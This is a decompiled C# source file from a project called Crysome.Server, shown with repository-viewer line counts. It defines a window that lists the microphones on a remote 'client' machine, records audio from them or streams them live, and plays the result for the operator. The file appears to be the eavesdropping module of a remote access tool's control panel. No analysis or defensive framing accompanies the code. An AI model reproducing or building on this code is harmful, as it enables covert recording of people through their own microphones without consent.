267 lines
6.6 KiB
C#
267 lines
6.6 KiB
C#
using System;
|
|||
|
|
using System.CodeDom.Compiler;
|
||
|
|
using System.ComponentModel;
|
||
|
|
using System.Diagnostics;
|
||
|
|
using System.IO;
|
||
|
|
using System.Windows;
|
||
|
|
using System.Windows.Controls;
|
||
|
|
using System.Windows.Controls.Primitives;
|
||
|
|
using System.Windows.Input;
|
||
|
|
using System.Windows.Markup;
|
||
|
|
using System.Windows.Media;
|
||
|
|
using Crysome.Server.Model;
|
||
|
|
using Crysome.Server.ViewModel;
|
||
|
|
using NAudio.Wave;
|
||
|
|
using Wpf.Ui.Controls;
|
||
|
|
|
||
|
|
namespace Crysome.Server.View;
|
||
|
|
|
||
|
|
public class RemoteAudioWindow : FluentWindow, IComponentConnector
|
||
|
|
{
|
||
|
|
private readonly ClientInfo _client;
|
||
|
|
|
||
|
|
private readonly ManageClientsViewModel _vm;
|
||
|
|
|
||
|
|
private MediaPlayer _player;
|
||
|
|
|
||
|
|
private string[] _devices = new string[0];
|
||
|
|
|
||
|
|
private BufferedWaveProvider _bufferedProvider;
|
||
|
|
|
||
|
|
private WaveOutEvent _waveOut;
|
||
|
|
|
||
|
|
private bool _listening;
|
||
|
|
|
||
|
|
internal TextBlock TitleText;
|
||
|
|
|
||
|
|
internal Button CloseBtn;
|
||
|
|
|
||
|
|
internal ComboBox MicCombo;
|
||
|
|
|
||
|
|
internal Button RecordBtn;
|
||
|
|
|
||
|
|
internal Button ListenBtn;
|
||
|
|
|
||
|
|
internal Button StopListenBtn;
|
||
|
|
|
||
|
|
internal TextBlock StatusText;
|
||
|
|
|
||
|
|
private bool _contentLoaded;
|
||
|
|
|
||
|
|
public RemoteAudioWindow(ClientInfo client, ManageClientsViewModel vm)
|
||
|
|
{
|
||
|
|
InitializeComponent();
|
||
|
|
_client = client;
|
||
|
|
_vm = vm;
|
||
|
|
((Window)this).Title = "Remote Audio/Mic — " + (client?.Address ?? "?");
|
||
|
|
TitleText.Text = ((Window)this).Title;
|
||
|
|
StatusText.Text = "Select mic, then Record (5 sec) or Listen Live.";
|
||
|
|
((FrameworkElement)this).Loaded += delegate
|
||
|
|
{
|
||
|
|
_vm.Log("RemoteAudio Loaded, calling LoadMics", "MIC");
|
||
|
|
LoadMics();
|
||
|
|
};
|
||
|
|
((Window)this).Closed += delegate
|
||
|
|
{
|
||
|
|
_player?.Close();
|
||
|
|
StopListening();
|
||
|
|
};
|
||
|
|
}
|
||
|
|
|
||
|
|
private void LoadMics()
|
||
|
|
{
|
||
|
|
_vm.GetAudioDevices(_client, delegate(string[] devs)
|
||
|
|
{
|
||
|
|
_devices = devs ?? new string[0];
|
||
|
|
if (_devices.Length == 0)
|
||
|
|
{
|
||
|
|
_devices = new string[1] { "(No microphones found)" };
|
||
|
|
}
|
||
|
|
MicCombo.Items.Clear();
|
||
|
|
for (int i = 0; i < _devices.Length; i++)
|
||
|
|
{
|
||
|
|
MicCombo.Items.Add(_devices[i] ?? ("Mic " + i));
|
||
|
|
}
|
||
|
|
if (MicCombo.Items.Count > 0)
|
||
|
|
{
|
||
|
|
MicCombo.SelectedIndex = 0;
|
||
|
|
}
|
||
|
|
});
|
||
|
|
}
|
||
|
|
|
||
|
|
private void RecordBtn_Click(object sender, RoutedEventArgs e)
|
||
|
|
{
|
||
|
|
((UIElement)(object)RecordBtn).IsEnabled = false;
|
||
|
|
StatusText.Text = "Recording on remote machine...";
|
||
|
|
int deviceIndex = ((MicCombo.SelectedIndex >= 0) ? MicCombo.SelectedIndex : 0);
|
||
|
|
_vm.RequestAudio(_client, 5, deviceIndex, delegate(byte[] wavData)
|
||
|
|
{
|
||
|
|
((UIElement)(object)RecordBtn).IsEnabled = true;
|
||
|
|
if (wavData == null || wavData.Length == 0)
|
||
|
|
{
|
||
|
|
StatusText.Text = "No audio received.";
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
try
|
||
|
|
{
|
||
|
|
string tmp = Path.Combine(Path.GetTempPath(), "crysome_audio_" + Guid.NewGuid().ToString("N") + ".wav");
|
||
|
|
File.WriteAllBytes(tmp, wavData);
|
||
|
|
_player?.Close();
|
||
|
|
_player = new MediaPlayer();
|
||
|
|
_player.Open(new Uri(tmp));
|
||
|
|
_player.MediaEnded += delegate
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
File.Delete(tmp);
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
_player.Close();
|
||
|
|
};
|
||
|
|
_player.Play();
|
||
|
|
StatusText.Text = "Playing " + wavData.Length / 1024 + " KB...";
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
StatusText.Text = "Play failed: " + ex.Message;
|
||
|
|
}
|
||
|
|
});
|
||
|
|
}
|
||
|
|
|
||
|
|
private void ListenBtn_Click(object sender, RoutedEventArgs e)
|
||
|
|
{
|
||
|
|
int deviceIndex = ((MicCombo.SelectedIndex >= 0) ? MicCombo.SelectedIndex : 0);
|
||
|
|
_listening = true;
|
||
|
|
((UIElement)(object)ListenBtn).IsEnabled = false;
|
||
|
|
((UIElement)(object)StopListenBtn).IsEnabled = true;
|
||
|
|
((UIElement)(object)RecordBtn).IsEnabled = false;
|
||
|
|
StatusText.Text = "Listening live...";
|
||
|
|
WaveFormat waveFormat = new WaveFormat(16000, 16, 1);
|
||
|
|
_bufferedProvider = new BufferedWaveProvider(waveFormat)
|
||
|
|
{
|
||
|
|
BufferDuration = TimeSpan.FromSeconds(5L)
|
||
|
|
};
|
||
|
|
_waveOut = new WaveOutEvent();
|
||
|
|
_waveOut.Init(_bufferedProvider);
|
||
|
|
_waveOut.Play();
|
||
|
|
_vm.StartAudioStream(_client, deviceIndex, delegate(byte[] chunk)
|
||
|
|
{
|
||
|
|
if (!_listening || _bufferedProvider == null)
|
||
|
|
{
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
try
|
||
|
|
{
|
||
|
|
_bufferedProvider.AddSamples(chunk, 0, chunk.Length);
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
});
|
||
|
|
}
|
||
|
|
|
||
|
|
private void StopListenBtn_Click(object sender, RoutedEventArgs e)
|
||
|
|
{
|
||
|
|
StopListening();
|
||
|
|
}
|
||
|
|
|
||
|
|
private void StopListening()
|
||
|
|
{
|
||
|
|
_listening = false;
|
||
|
|
_vm?.StopAudioStream(_client);
|
||
|
|
((UIElement)(object)ListenBtn).IsEnabled = true;
|
||
|
|
((UIElement)(object)StopListenBtn).IsEnabled = false;
|
||
|
|
((UIElement)(object)RecordBtn).IsEnabled = true;
|
||
|
|
try
|
||
|
|
{
|
||
|
|
_waveOut?.Stop();
|
||
|
|
_waveOut?.Dispose();
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
_waveOut = null;
|
||
|
|
_bufferedProvider = null;
|
||
|
|
StatusText.Text = "Stopped.";
|
||
|
|
}
|
||
|
|
|
||
|
|
private void CloseBtn_Click(object sender, RoutedEventArgs e)
|
||
|
|
{
|
||
|
|
((Window)this).Close();
|
||
|
|
}
|
||
|
|
|
||
|
|
private void Header_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
((Window)this).DragMove();
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
[DebuggerNonUserCode]
|
||
|
|
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||
|
|
public void InitializeComponent()
|
||
|
|
{
|
||
|
|
if (!_contentLoaded)
|
||
|
|
{
|
||
|
|
_contentLoaded = true;
|
||
|
|
Uri resourceLocator = new Uri("/Crysome.Server;component/view/remoteaudiowindow.xaml", UriKind.Relative);
|
||
|
|
Application.LoadComponent(this, resourceLocator);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
[DebuggerNonUserCode]
|
||
|
|
[GeneratedCode("PresentationBuildTasks", "9.0.14.0")]
|
||
|
|
[EditorBrowsable(EditorBrowsableState.Never)]
|
||
|
|
void IComponentConnector.Connect(int connectionId, object target)
|
||
|
|
{
|
||
|
|
//IL_0054: Unknown result type (might be due to invalid IL or missing references)
|
||
|
|
//IL_005e: Expected O, but got Unknown
|
||
|
|
//IL_0085: Unknown result type (might be due to invalid IL or missing references)
|
||
|
|
//IL_008f: Expected O, but got Unknown
|
||
|
|
//IL_00a9: Unknown result type (might be due to invalid IL or missing references)
|
||
|
|
//IL_00b3: Expected O, but got Unknown
|
||
|
|
//IL_00cd: Unknown result type (might be due to invalid IL or missing references)
|
||
|
|
//IL_00d7: Expected O, but got Unknown
|
||
|
|
switch (connectionId)
|
||
|
|
{
|
||
|
|
case 1:
|
||
|
|
((Border)target).MouseLeftButtonDown += Header_MouseLeftButtonDown;
|
||
|
|
break;
|
||
|
|
case 2:
|
||
|
|
TitleText = (TextBlock)target;
|
||
|
|
break;
|
||
|
|
case 3:
|
||
|
|
CloseBtn = (Button)target;
|
||
|
|
((ButtonBase)(object)CloseBtn).Click += CloseBtn_Click;
|
||
|
|
break;
|
||
|
|
case 4:
|
||
|
|
MicCombo = (ComboBox)target;
|
||
|
|
break;
|
||
|
|
case 5:
|
||
|
|
RecordBtn = (Button)target;
|
||
|
|
((ButtonBase)(object)RecordBtn).Click += RecordBtn_Click;
|
||
|
|
break;
|
||
|
|
case 6:
|
||
|
|
ListenBtn = (Button)target;
|
||
|
|
((ButtonBase)(object)ListenBtn).Click += ListenBtn_Click;
|
||
|
|
break;
|
||
|
|
case 7:
|
||
|
|
StopListenBtn = (Button)target;
|
||
|
|
((ButtonBase)(object)StopListenBtn).Click += StopListenBtn_Click;
|
||
|
|
break;
|
||
|
|
case 8:
|
||
|
|
StatusText = (TextBlock)target;
|
||
|
|
break;
|
||
|
|
default:
|
||
|
|
_contentLoaded = true;
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|